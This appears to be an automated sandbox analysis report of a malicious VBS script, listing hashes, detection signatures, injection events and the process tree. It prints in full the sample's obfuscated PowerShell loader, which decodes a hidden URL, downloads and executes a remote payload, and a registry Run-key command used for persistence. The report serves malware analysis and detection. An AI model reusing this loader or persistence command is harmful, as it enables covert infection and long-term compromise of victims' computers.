Analysis
-
max time kernel
67s -
max time network
72s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
15/02/2024, 05:40
Static task
static1
Behavioral task
behavioral1
Sample
d0fceb6bb0ed4dc5b8601e9560a291fe726958c774b0dc8647d1b7aec3f0c84c.vbs
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
d0fceb6bb0ed4dc5b8601e9560a291fe726958c774b0dc8647d1b7aec3f0c84c.vbs
Resource
win10v2004-20231215-en
General
-
Target
d0fceb6bb0ed4dc5b8601e9560a291fe726958c774b0dc8647d1b7aec3f0c84c.vbs
-
Size
93KB
-
MD5
79094e9847a7bf1ffd13972fd7f4fe9f
-
SHA1
98d0d34a146712d3399fcacf2369e11c4cd9c4ea
-
SHA256
d0fceb6bb0ed4dc5b8601e9560a291fe726958c774b0dc8647d1b7aec3f0c84c
-
SHA512
e0399f4fe05cdbc25dc193142d017d1161adb049cfd82dce26c03054f52825c43964b30c6c189cc293c85fb5f6da1092e62cfc736072294be62c23463a8386a9
-
SSDEEP
1536:HJglU0P4wDaWxyADV76w2bnQReOlDaP5QrIWG2CSAe0i4rEOz+d:pglnvD1xyAp761kRe8DaP54G3eL4rvyd
Malware Config
Signatures
-
Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 4 IoCs
resource yara_rule behavioral2/memory/3988-63-0x0000000000400000-0x00000000005E4000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3988-64-0x0000000000400000-0x00000000005E4000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3988-65-0x0000000000400000-0x00000000005E4000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3988-84-0x0000000000400000-0x00000000005E4000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation WScript.exe -
resource yara_rule behavioral2/memory/3988-63-0x0000000000400000-0x00000000005E4000-memory.dmp upx behavioral2/memory/3988-64-0x0000000000400000-0x00000000005E4000-memory.dmp upx behavioral2/memory/3988-65-0x0000000000400000-0x00000000005E4000-memory.dmp upx behavioral2/memory/3988-84-0x0000000000400000-0x00000000005E4000-memory.dmp upx -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\subthrill = "%Penci% -w 1 $Ench22=(Get-ItemProperty -Path 'HKCU:\\Plupatriot\\').Fynboe;%Penci% ($Ench22)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
pid Process 3988 ImagingDevices.exe 3988 ImagingDevices.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3992 powershell.exe 3988 ImagingDevices.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3992 set thread context of 3988 3992 powershell.exe 111 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry key 1 TTPs 1 IoCs
pid Process 548 reg.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1512 powershell.exe 1512 powershell.exe 3992 powershell.exe 3992 powershell.exe 3992 powershell.exe -
Suspicious behavior: MapViewOfSection 13 IoCs
pid Process 3992 powershell.exe 3992 powershell.exe 3992 powershell.exe 3992 powershell.exe 3992 powershell.exe 3992 powershell.exe 3992 powershell.exe 3992 powershell.exe 3992 powershell.exe 3992 powershell.exe 3992 powershell.exe 3992 powershell.exe 3992 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1512 powershell.exe Token: SeDebugPrivilege 3992 powershell.exe -
Suspicious use of WriteProcessMemory 57 IoCs
description pid Process procid_target PID 3716 wrote to memory of 1512 3716 WScript.exe 84 PID 3716 wrote to memory of 1512 3716 WScript.exe 84 PID 1512 wrote to memory of 3724 1512 powershell.exe 86 PID 1512 wrote to memory of 3724 1512 powershell.exe 86 PID 1512 wrote to memory of 3992 1512 powershell.exe 93 PID 1512 wrote to memory of 3992 1512 powershell.exe 93 PID 1512 wrote to memory of 3992 1512 powershell.exe 93 PID 3992 wrote to memory of 2772 3992 powershell.exe 95 PID 3992 wrote to memory of 2772 3992 powershell.exe 95 PID 3992 wrote to memory of 2772 3992 powershell.exe 95 PID 3992 wrote to memory of 2984 3992 powershell.exe 99 PID 3992 wrote to memory of 2984 3992 powershell.exe 99 PID 3992 wrote to memory of 2984 3992 powershell.exe 99 PID 3992 wrote to memory of 4536 3992 powershell.exe 100 PID 3992 wrote to memory of 4536 3992 powershell.exe 100 PID 3992 wrote to memory of 4536 3992 powershell.exe 100 PID 3992 wrote to memory of 772 3992 powershell.exe 101 PID 3992 wrote to memory of 772 3992 powershell.exe 101 PID 3992 wrote to memory of 772 3992 powershell.exe 101 PID 3992 wrote to memory of 2088 3992 powershell.exe 102 PID 3992 wrote to memory of 2088 3992 powershell.exe 102 PID 3992 wrote to memory of 2088 3992 powershell.exe 102 PID 3992 wrote to memory of 1924 3992 powershell.exe 103 PID 3992 wrote to memory of 1924 3992 powershell.exe 103 PID 3992 wrote to memory of 1924 3992 powershell.exe 103 PID 3992 wrote to memory of 492 3992 powershell.exe 104 PID 3992 wrote to memory of 492 3992 powershell.exe 104 PID 3992 wrote to memory of 492 3992 powershell.exe 104 PID 3992 wrote to memory of 2040 3992 powershell.exe 105 PID 3992 wrote to memory of 2040 3992 powershell.exe 105 PID 3992 wrote to memory of 2040 3992 powershell.exe 105 PID 3992 wrote to memory of 3660 3992 powershell.exe 106 PID 3992 wrote to memory of 3660 3992 powershell.exe 106 PID 3992 wrote to memory of 3660 3992 powershell.exe 106 PID 3992 wrote to memory of 2728 3992 powershell.exe 107 PID 3992 wrote to memory of 2728 3992 powershell.exe 107 PID 3992 wrote to memory of 2728 3992 powershell.exe 107 PID 3992 wrote to memory of 4968 3992 powershell.exe 108 PID 3992 wrote to memory of 4968 3992 powershell.exe 108 PID 3992 wrote to memory of 4968 3992 powershell.exe 108 PID 3992 wrote to memory of 5024 3992 powershell.exe 109 PID 3992 wrote to memory of 5024 3992 powershell.exe 109 PID 3992 wrote to memory of 5024 3992 powershell.exe 109 PID 3992 wrote to memory of 1348 3992 powershell.exe 110 PID 3992 wrote to memory of 1348 3992 powershell.exe 110 PID 3992 wrote to memory of 1348 3992 powershell.exe 110 PID 3992 wrote to memory of 3988 3992 powershell.exe 111 PID 3992 wrote to memory of 3988 3992 powershell.exe 111 PID 3992 wrote to memory of 3988 3992 powershell.exe 111 PID 3992 wrote to memory of 3988 3992 powershell.exe 111 PID 3992 wrote to memory of 3988 3992 powershell.exe 111 PID 3988 wrote to memory of 1520 3988 ImagingDevices.exe 112 PID 3988 wrote to memory of 1520 3988 ImagingDevices.exe 112 PID 3988 wrote to memory of 1520 3988 ImagingDevices.exe 112 PID 1520 wrote to memory of 548 1520 cmd.exe 114 PID 1520 wrote to memory of 548 1520 cmd.exe 114 PID 1520 wrote to memory of 548 1520 cmd.exe 114
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d0fceb6bb0ed4dc5b8601e9560a291fe726958c774b0dc8647d1b7aec3f0c84c.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3716 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#bawsuntti Preterien Dkfjernon Slavehandl #>;$Ellagate=(cmd /c set /A 115^^0);Function Cyklis197 ([String]$Fakkelto){$Ellagate=[char][int]$Ellagate;$Udvidelser=$Ellagate+'ubstring';$Darghinho=8;$disbrainw=Elipser4($Fakkelto);For($Betjenbly=7; $Betjenbly -lt $disbrainw; $Betjenbly+=$Darghinho){$Blabb=$Fakkelto.$Udvidelser.Invoke($Betjenbly, 1);$Elipser=$Elipser+$Blabb;}$Elipser;}function Sikkerh ($Milj93){& ($Elipser01) ($Milj93);}function Elipser4 ([String]$Gosp){$ocaadrena1=$Gosp.Length-1;$ocaadrena1;}$Elipser02=Cyklis197 'HeptadeT KrybenrAbhorsoaIlluminn AntistsSkvtsglfMentioneTilskynr benfrirTjaldsbi PerukenSleevedgDansemu ';$Packt=Cyklis197 'Ddemandhtremolot SuprastRectangpmellemgsOvertag:Parader/ Flacke/ScaphogsLkkestrcOverheaaFrsemasiSprinklntilslutsLindbereOvertimt BotchioForttni.WeakytrcConcento SubsammMorallr.IbrugtabSkonnerrEbdomad/TilbagewManatinpRensnin-Ekspatra mennesdDesultomBorolibiKusamren Monome/ NashaacChromatyUndecoycHanefjelDelirioosolfangtDvrgkonh NeglecuCospons.FluidicpDansantfNarratemBilleda ';$Elipser01=Cyklis197 'Beredeli LeasineRepressxHandlin ';$Elipser00=Cyklis197 'Neathmo$LactonigKonfisklPolyestoAnmeldebInterioahovedstl Folkso:PengepooFaseindcBecausea FuzegeaIntrodud mezcalrFerskvae KameranEmbryopaForuren8Smuglma Endoper=Hexagyn HildegaSBldtvant AptalvaFedepserNoncoagtIsaianw-afformaBCryoplaiTilbjelt DispossBrdfabrT Holopar GrasseaHeartbrn LuteolsQuitchefNitrateeNegerborhilltop Finansb-VarigheSnedrakkoKologituShoplifrSphyrnicStvkonse Sllern Ecchbla$ BortpeP OzzieoaUndersecStenogakAfrasiatBoldfac Genspej-ElelfenDBrinishePropagasRivetndtkaffirsiElectranCalceusaCupelertcorbicui AlricgoFredskonKnaveri Pretes$OptjeneoTsubokoc Fastbaa JerntnaCardiecdUlykkesrRedialleSomitalnEmbatheaBegaudc2Aproned ';Sikkerh (Cyklis197 'autodkk$Autorisg herrerlNonopproPostnumb Cordiaa HentehlFilialn:NonprotoOvervrecFortyskaAmphithaSpeditidHormonorTetraloe CharcinRugegspadilatom2jugland=Scleren$GluedbaeGeneralnExpellevBrystsv:ElytrinaStenkulp Dupperp ConfirdAfledniaDiamondt samalqaInstruk ') ;Sikkerh (Cyklis197 'GeneralISkraldsmmillionpVsentlioWafthyprBandagetKulturc- HvisaaMOmbetrkoSlidtsodVrksteduStrandklheltalseLittera EsthacyBRenegotiModerkat plenums SpartlTkogechorUlvebloa AcinetnTakahessLeverinfVomitore GasterrJohnydo ') ;$ocaadrena2=$ocaadrena2+'\Taksati.kon' ;Sikkerh (Cyklis197 ' Comedy$DriftskgMedarbelPaabegyo LagerabUnscornaRadiiunl Pedant:Denimmeo SammencKlanglsaWhistlea HvidvidEksplosrVidaabne NonnatnetologiaJetesbe7 clappe=Agtsomm(RottefnTurostifeUbestvesWavelestHaandkl-SupermoP TestfiaBhmernetForhaanhPromode Svinghj$ GodmotoAcetomecErhverva TenebraAvissaldSindsstrOdorleseEikefifnTekstkraLsersmu2Ecandac)Pandehu ') ;while (-not $ocaadrena7) {Sikkerh (Cyklis197 ' GringeIFarvehafAristok Shampon(Salting$congessoDepravecDerommeaIndpakkaConubiudInsultpr SociomeVanskbnnUndergiaMontmor8 admira.VandprvJBygningoCatkinabStrykniSParsonotBrachygaKongerntBrunerieGatekee Manpack-KhevzureUnmuddlq Tauten Sidelin$UngorgeEAtionsplWoolliniVerdensp Clystes StartbeSpaniperSkraapa0 Smashe2Kartote)Oozoali Oblataa{ NvnermS RygepatFjernstaForhandrBookbintResumee-TantaraSResterelBlazereeLiturgieVrdimngpToxalbu Overtop1Blandin}Outparae UnderflHovednrspiggybae Rivalr{SigteevSTotemittSterlinaTsenesmrPatchwotStatefu- TypeabSTranslalStrattoeTidsskreForsikrpNivella Perspir1 Wacksy; DisjasSTabelopiMutinyskCognizekSlutbete SkrmharLuftbaah Nogged Broerun$VekselvEHarebotlPjokkedi MelanepBortledsMasticie FlokinrOpkobli0Fdevare0Paltril}Osophon ');Sikkerh (Cyklis197 'Yokcliq$OutswingOrwellslPhlogisoMantappb positiaVgrerthlAccosts:NonodoroTiredomcbrugtbaaTilbjelaUnsatisdsystemirPegasuse DivisinBenchwoaAdminis7Keglere=Blindga(BiotechTFlgestneOplsendsPretraitTumbleh-ShipmanP Cephala NetadrtMetacenhbrnesen Arkite$ExplanaoNotatiocSemificaCervicoa clintidOtiliefrScrollbe LuftfanGasovnea Python2Zephani)Anslags ') ;}Sikkerh (Cyklis197 'Winnowe$KrftenlgForklarlJuanitaoTransanbRudimenaNormskolEkstrak:DeodoriNBellwineDelatindBilledsj Saviou1Stereot7Folketi4Bajonet Forveks=Diamond UmisforG havegae Autoset Frugtk-PustuleCCrissumoAltercan AftrkktSexageseBrandlonSyrligstGuidebo Trolse$Technolo CiselecScanninaKursnedaFaqlowedInevitarKursvrdeUnbandanagribusaTirrede2Skriben ');Sikkerh (Cyklis197 'Transce$SensommgEngrosblKnibtano BlgedabUnexhumaDekoratlUundvig:ScranneD FordrveSnowshoa LandflcPadesoyoIndubitnXylinde Rundesa=Frdiggr Wellcur[ touchlSMjesuniyTankesys IhjelptFangstbenskeformHairspr.PrinterCFnikerno RevisonViolentvCoefficeHalvlegr Friscot Enneas]Ripplet:Ensilag:MetrikkFProbattrBlaffero serailm YoghurBMattereaKnledsmsPishhoveAdvisor6studhor4 FalsumSOmhyggetUnshipsrVidvinkiStramtsn myoprogNdvrget( Grinag$ PreabuNMiskmaseBlystbeddiurnuljShamans1Pottosf7Apanage4Berteli)Villale ');Sikkerh (Cyklis197 ' Levuli$VaricocgUnisonalUnexpecoGutsybub PantalaStringclCobbies:InconelEcomputelKilocaliCradlerpdormitosForespeeSwissesrAchines2Indavle Preserv=Toxinea Devalue[DecapetSYmtertryProfounsIndkrvnt BruttoeTilspurmPathbre.SubantiT emboweeOtteaarxCentraltDepende.FarvemsEFallernnAgertidcObtempeoBurielsdDramatiiTodagesnManipulg Riglin]Anhnger:Sorings:afledteA FootraSTrallevCHessparIEmbarquISirupyk.OclocktG Vemodoe PuffedtPhonetiSSplotchtGevirscrDoctrini JohnsenGennemsgSubvers(Gavflab$SektionDGrammateTriboloaSnurpencExpireuoManiocan Proful)Cathept ');Sikkerh (Cyklis197 'ophnges$BogtrykgdunlinblEbonizeoSuccessbResonera Fejltil kuankl: JannsgE PumperlStrepsii SomedepRhythmisAmphigoe PartiorHjertes3Demokra=Skoalin$ReemigrEStewardlFisedesigulnarepProduktsQuadpleeSekunderSovietc2 produk.EurekafsSnippetuReprsenbDermatosAdelsmatAtomknurSammenbiVittussnMurstengDiffusi(skeyhel3 Fordyb0Mercypr9Prosely8Geograf8Abcerne6Begynde,Unallit2 Niases4Beatusp1Udmaler6Exorciz0Quiresh)Asylans ');Sikkerh $Elipser3;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^03⤵PID:3724
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#bawsuntti Preterien Dkfjernon Slavehandl #>;$Ellagate=(cmd /c set /A 115^^0);Function Cyklis197 ([String]$Fakkelto){$Ellagate=[char][int]$Ellagate;$Udvidelser=$Ellagate+'ubstring';$Darghinho=8;$disbrainw=Elipser4($Fakkelto);For($Betjenbly=7; $Betjenbly -lt $disbrainw; $Betjenbly+=$Darghinho){$Blabb=$Fakkelto.$Udvidelser.Invoke($Betjenbly, 1);$Elipser=$Elipser+$Blabb;}$Elipser;}function Sikkerh ($Milj93){& ($Elipser01) ($Milj93);}function Elipser4 ([String]$Gosp){$ocaadrena1=$Gosp.Length-1;$ocaadrena1;}$Elipser02=Cyklis197 'HeptadeT KrybenrAbhorsoaIlluminn AntistsSkvtsglfMentioneTilskynr benfrirTjaldsbi PerukenSleevedgDansemu ';$Packt=Cyklis197 'Ddemandhtremolot SuprastRectangpmellemgsOvertag:Parader/ Flacke/ScaphogsLkkestrcOverheaaFrsemasiSprinklntilslutsLindbereOvertimt BotchioForttni.WeakytrcConcento SubsammMorallr.IbrugtabSkonnerrEbdomad/TilbagewManatinpRensnin-Ekspatra mennesdDesultomBorolibiKusamren Monome/ NashaacChromatyUndecoycHanefjelDelirioosolfangtDvrgkonh NeglecuCospons.FluidicpDansantfNarratemBilleda ';$Elipser01=Cyklis197 'Beredeli LeasineRepressxHandlin ';$Elipser00=Cyklis197 'Neathmo$LactonigKonfisklPolyestoAnmeldebInterioahovedstl Folkso:PengepooFaseindcBecausea FuzegeaIntrodud mezcalrFerskvae KameranEmbryopaForuren8Smuglma Endoper=Hexagyn HildegaSBldtvant AptalvaFedepserNoncoagtIsaianw-afformaBCryoplaiTilbjelt DispossBrdfabrT Holopar GrasseaHeartbrn LuteolsQuitchefNitrateeNegerborhilltop Finansb-VarigheSnedrakkoKologituShoplifrSphyrnicStvkonse Sllern Ecchbla$ BortpeP OzzieoaUndersecStenogakAfrasiatBoldfac Genspej-ElelfenDBrinishePropagasRivetndtkaffirsiElectranCalceusaCupelertcorbicui AlricgoFredskonKnaveri Pretes$OptjeneoTsubokoc Fastbaa JerntnaCardiecdUlykkesrRedialleSomitalnEmbatheaBegaudc2Aproned ';Sikkerh (Cyklis197 'autodkk$Autorisg herrerlNonopproPostnumb Cordiaa HentehlFilialn:NonprotoOvervrecFortyskaAmphithaSpeditidHormonorTetraloe CharcinRugegspadilatom2jugland=Scleren$GluedbaeGeneralnExpellevBrystsv:ElytrinaStenkulp Dupperp ConfirdAfledniaDiamondt samalqaInstruk ') ;Sikkerh (Cyklis197 'GeneralISkraldsmmillionpVsentlioWafthyprBandagetKulturc- HvisaaMOmbetrkoSlidtsodVrksteduStrandklheltalseLittera EsthacyBRenegotiModerkat plenums SpartlTkogechorUlvebloa AcinetnTakahessLeverinfVomitore GasterrJohnydo ') ;$ocaadrena2=$ocaadrena2+'\Taksati.kon' ;Sikkerh (Cyklis197 ' Comedy$DriftskgMedarbelPaabegyo LagerabUnscornaRadiiunl Pedant:Denimmeo SammencKlanglsaWhistlea HvidvidEksplosrVidaabne NonnatnetologiaJetesbe7 clappe=Agtsomm(RottefnTurostifeUbestvesWavelestHaandkl-SupermoP TestfiaBhmernetForhaanhPromode Svinghj$ GodmotoAcetomecErhverva TenebraAvissaldSindsstrOdorleseEikefifnTekstkraLsersmu2Ecandac)Pandehu ') ;while (-not $ocaadrena7) {Sikkerh (Cyklis197 ' GringeIFarvehafAristok Shampon(Salting$congessoDepravecDerommeaIndpakkaConubiudInsultpr SociomeVanskbnnUndergiaMontmor8 admira.VandprvJBygningoCatkinabStrykniSParsonotBrachygaKongerntBrunerieGatekee Manpack-KhevzureUnmuddlq Tauten Sidelin$UngorgeEAtionsplWoolliniVerdensp Clystes StartbeSpaniperSkraapa0 Smashe2Kartote)Oozoali Oblataa{ NvnermS RygepatFjernstaForhandrBookbintResumee-TantaraSResterelBlazereeLiturgieVrdimngpToxalbu Overtop1Blandin}Outparae UnderflHovednrspiggybae Rivalr{SigteevSTotemittSterlinaTsenesmrPatchwotStatefu- TypeabSTranslalStrattoeTidsskreForsikrpNivella Perspir1 Wacksy; DisjasSTabelopiMutinyskCognizekSlutbete SkrmharLuftbaah Nogged Broerun$VekselvEHarebotlPjokkedi MelanepBortledsMasticie FlokinrOpkobli0Fdevare0Paltril}Osophon ');Sikkerh (Cyklis197 'Yokcliq$OutswingOrwellslPhlogisoMantappb positiaVgrerthlAccosts:NonodoroTiredomcbrugtbaaTilbjelaUnsatisdsystemirPegasuse DivisinBenchwoaAdminis7Keglere=Blindga(BiotechTFlgestneOplsendsPretraitTumbleh-ShipmanP Cephala NetadrtMetacenhbrnesen Arkite$ExplanaoNotatiocSemificaCervicoa clintidOtiliefrScrollbe LuftfanGasovnea Python2Zephani)Anslags ') ;}Sikkerh (Cyklis197 'Winnowe$KrftenlgForklarlJuanitaoTransanbRudimenaNormskolEkstrak:DeodoriNBellwineDelatindBilledsj Saviou1Stereot7Folketi4Bajonet Forveks=Diamond UmisforG havegae Autoset Frugtk-PustuleCCrissumoAltercan AftrkktSexageseBrandlonSyrligstGuidebo Trolse$Technolo CiselecScanninaKursnedaFaqlowedInevitarKursvrdeUnbandanagribusaTirrede2Skriben ');Sikkerh (Cyklis197 'Transce$SensommgEngrosblKnibtano BlgedabUnexhumaDekoratlUundvig:ScranneD FordrveSnowshoa LandflcPadesoyoIndubitnXylinde Rundesa=Frdiggr Wellcur[ touchlSMjesuniyTankesys IhjelptFangstbenskeformHairspr.PrinterCFnikerno RevisonViolentvCoefficeHalvlegr Friscot Enneas]Ripplet:Ensilag:MetrikkFProbattrBlaffero serailm YoghurBMattereaKnledsmsPishhoveAdvisor6studhor4 FalsumSOmhyggetUnshipsrVidvinkiStramtsn myoprogNdvrget( Grinag$ PreabuNMiskmaseBlystbeddiurnuljShamans1Pottosf7Apanage4Berteli)Villale ');Sikkerh (Cyklis197 ' Levuli$VaricocgUnisonalUnexpecoGutsybub PantalaStringclCobbies:InconelEcomputelKilocaliCradlerpdormitosForespeeSwissesrAchines2Indavle Preserv=Toxinea Devalue[DecapetSYmtertryProfounsIndkrvnt BruttoeTilspurmPathbre.SubantiT emboweeOtteaarxCentraltDepende.FarvemsEFallernnAgertidcObtempeoBurielsdDramatiiTodagesnManipulg Riglin]Anhnger:Sorings:afledteA FootraSTrallevCHessparIEmbarquISirupyk.OclocktG Vemodoe PuffedtPhonetiSSplotchtGevirscrDoctrini JohnsenGennemsgSubvers(Gavflab$SektionDGrammateTriboloaSnurpencExpireuoManiocan Proful)Cathept ');Sikkerh (Cyklis197 'ophnges$BogtrykgdunlinblEbonizeoSuccessbResonera Fejltil kuankl: JannsgE PumperlStrepsii SomedepRhythmisAmphigoe PartiorHjertes3Demokra=Skoalin$ReemigrEStewardlFisedesigulnarepProduktsQuadpleeSekunderSovietc2 produk.EurekafsSnippetuReprsenbDermatosAdelsmatAtomknurSammenbiVittussnMurstengDiffusi(skeyhel3 Fordyb0Mercypr9Prosely8Geograf8Abcerne6Begynde,Unallit2 Niases4Beatusp1Udmaler6Exorciz0Quiresh)Asylans ');Sikkerh $Elipser3;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3992 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^04⤵PID:2772
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵PID:2984
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵PID:4536
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵PID:772
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵PID:2088
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵PID:1924
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵PID:492
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵PID:2040
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵PID:3660
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵PID:2728
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵PID:4968
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵PID:5024
-
-
C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"4⤵PID:1348
-
-
C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:3988 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "subthrill" /t REG_EXPAND_SZ /d "%Penci% -w 1 $Ench22=(Get-ItemProperty -Path 'HKCU:\Plupatriot\').Fynboe;%Penci% ($Ench22)"5⤵
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "subthrill" /t REG_EXPAND_SZ /d "%Penci% -w 1 $Ench22=(Get-ItemProperty -Path 'HKCU:\Plupatriot\').Fynboe;%Penci% ($Ench22)"6⤵
- Adds Run key to start application
- Modifies registry key
PID:548
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82